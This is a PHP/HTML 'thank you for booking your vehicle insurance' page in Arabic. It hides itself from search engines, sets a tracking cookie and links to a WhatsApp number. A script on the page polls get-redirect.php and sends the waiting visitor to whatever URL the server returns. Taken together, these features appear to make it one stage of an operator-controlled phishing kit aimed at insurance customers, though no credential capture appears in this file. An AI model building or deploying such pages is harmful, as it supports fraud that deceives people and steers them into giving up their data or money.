<?php
header("X-Robots-Tag: noindex, nofollow, noarchive, nosnippet", true);
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>شكراً لحجزك</title>

  <!-- خط Tajawal -->
  <link href="https://fonts.googleapis.com/css2?family=Tajawal:wght@400;700&display=swap" rel="stylesheet">
<script>
(function ensureUID(){
  function uuidv4(){
    return ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g,c=>
      (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c/4).toString(16)
    );
  }
  const hasUID = document.cookie.split('; ').some(x=>x.startsWith('unique_id='));
  if (!hasUID){
    const uid = uuidv4();
    document.cookie = 'unique_id='+uid+'; path=/; max-age='+(3600*24*365)+'; SameSite=Lax';
  }
})();
</script>
<script>
(function ensureUID(){
  function uuidv4(){
    return ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g,c=>
      (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c/4).toString(16)
    );
  }
  const hasUID = document.cookie.split('; ').some(x=>x.startsWith('unique_id='));
  if (!hasUID){
    const uid = uuidv4();
    document.cookie = 'unique_id='+uid+'; path=/; max-age='+(3600*24*365)+'; SameSite=Lax';
  }
})();
</script>
  <style>
    :root{
      --brand:#0046AD;    
      --bg:#f5f6f8;
      --card:#ffffff;
      --text:#1f2328;
      --muted:#6b7280;
      --shadow:0 10px 30px rgba(0,0,0,.08);
      --radius:16px;
    }
    *{box-sizing:border-box}
    body{
      margin:0;
      font-family:'Tajawal',system-ui,-apple-system,Segoe UI,Roboto,Arial,sans-serif;
      background:
        radial-gradient(60rem 60rem at 120% -10%, #e9f1ff 0%, transparent 60%),
        radial-gradient(50rem 50rem at -10% 120%, #eef3ff 0%, transparent 60%),
        var(--bg);
      color:var(--text);
      min-height:100vh;
      display:flex;
      align-items:center;
      justify-content:center;
      padding:24px;
    }
    .card{
      width:100%;
      max-width:520px;
      background:var(--card);
      border-radius:var(--radius);
      box-shadow:var(--shadow);
      padding:28px 22px;
      text-align:center;
      animation:fadeIn .6s ease both;
    }
    .icon{
      width:68px; height:68px; margin:0 auto 14px;
      display:grid; place-items:center;
      border-radius:50%;
      background:#e8f0ff;
      color:var(--brand);
      animation:pop .5s ease .15s both;
    }
    .icon svg{ width:34px; height:34px; }
    h1{
      margin:6px 0 8px;
      font-size:22px; font-weight:700; line-height:1.5;
    }
    p.lead{
      margin:0 0 18px;
      color:var(--muted);
      font-size:15px; line-height:1.8;
    }
    .divider{
      height:1px; background:#eef1f5; margin:14px 0 18px;
    }
    .btn{
      display:inline-flex; align-items:center; justify-content:center;
      gap:8px;
      width:100%;
      background:var(--brand);
      color:#fff; text-decoration:none;
      font-weight:700; font-size:16px;
      padding:14px 16px;
      border-radius:12px;
      transition:filter .15s ease, transform .08s ease;
    }
    .btn:hover{ filter:brightness(.96); }
    .btn:active{ transform:translateY(1px); }
    .btn .ico{ width:18px; height:18px; }

    @keyframes fadeIn{ from{opacity:0; transform:translateY(10px)} to{opacity:1; transform:translateY(0)} }
    @keyframes pop{ from{transform:scale(.8); opacity:0} to{transform:scale(1); opacity:1} }
  </style>
</head>
<body>

  <main class="card" role="main" aria-labelledby="title">
    <div class="icon" aria-hidden="true">
      <!-- أيقونة تحقق -->
      <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
        <path d="M22 11.08V12a10 10 0 1 1-5.93-9.14"/>
        <path d="m22 4-10 10-3-3"/>
      </svg>
    </div>

    <h1 id="title">شكرًا لحجز وثيقة التأمين لمركبتك</h1>
    <p class="lead">تم استلام طلبك بنجاح. يُرجى تأكيد الحجز لإتمام العملية.</p>

    <div class="divider" role="separator"></div>

 
    <a class="btn" href="https://api.whatsapp.com/send/?phone=96655906977&text&type=phone_number&app_absent=0" target="_blank" rel="noopener">
      <svg class="ico" viewBox="0 0 24 24" fill="currentColor" aria-hidden="true">
        <path d="M.5 0h23v23h-23z" fill="none"/>
        <path d="M20.5 3.5a1.5 1.5 0 0 1 1.5 1.5v14a1.5 1.5 0 0 1-1.5 1.5h-17A1.5 1.5 0 0 1 2 19V5A1.5 1.5 0 0 1 3.5 3.5h17zm-1.9 3.25H5.4a.85.85 0 0 0-.85.85v8.8c0 .47.38.85.85.85h13.2c.47 0 .85-.38.85-.85V7.6a.85.85 0 0 0-.85-.85zM7 9h8v1.5H7V9zm0 3h6v1.5H7V12z"/>
      </svg>
      تواصل معنا
    </a>
  </main>


      <script>
(function(){
 
  setTimeout(function(){
    const timer = setInterval(async function(){
      try {
        const res = await fetch('get-redirect.php', { credentials:'same-origin' });
        const data = await res.json();
        if (data && data.redirect){
          clearInterval(timer);
          window.location.href = data.redirect; 
        }
      } catch (e) {
        // تجاهل خطأ الشبكة مؤقتاً
      }
    }, 2000); 
  }, 10000); 
})();
</script>

</body>
</html>
